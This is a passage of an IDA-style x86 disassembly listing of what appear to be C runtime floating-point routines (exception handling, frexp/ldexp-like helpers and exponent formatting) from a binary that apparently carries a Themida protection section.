		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C870
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs

loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43C860
		jmp	short loc_421426
; ---------------------------------------------------------------------------

loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43C870
		fchs

loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43C870
		jmp	short loc_42144E
; ---------------------------------------------------------------------------

loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43C860
		fchs

loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C860
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs

loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]

loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx

loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------

loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------

loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx

loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx

loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx

loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h

loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F

loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------

loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx

loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx

loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh

loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx

loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB278, 22h
		retn
; ---------------------------------------------------------------------------

loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB278, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43C788

loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43C860
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43C78C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3

loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707

loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4

loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------

loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A

loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax

loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1

loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h

loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------

loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43C888
		fistp	[ebp+arg_0]
		wait

loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43C888
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43C894
		fstp	[ebp+var_8]
		wait

loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 2670E16h
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26A0389h
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------

loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C

loc_4218E9:				; DATA XREF: Themida_:0055F2A4o
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B

loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------

loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF

loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43C508
		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43C508
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951

loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945

loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982

loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------

loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax

loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax

loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43C8B0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB310, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB30C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------

loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h

loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43C508
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB310, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h

loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl

loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB310, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB314
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB30C
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------

loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h

loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
